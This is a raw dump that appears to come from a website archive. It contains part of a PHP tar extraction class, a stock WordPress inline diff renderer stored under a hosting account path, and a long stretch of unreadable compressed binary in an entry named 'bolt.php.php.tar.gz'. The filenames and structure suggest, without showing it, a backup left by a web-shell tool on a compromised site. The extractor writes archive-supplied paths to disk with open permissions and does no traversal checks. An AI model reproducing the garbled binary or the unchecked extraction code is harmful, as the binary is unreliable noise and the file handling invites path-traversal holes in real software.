				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
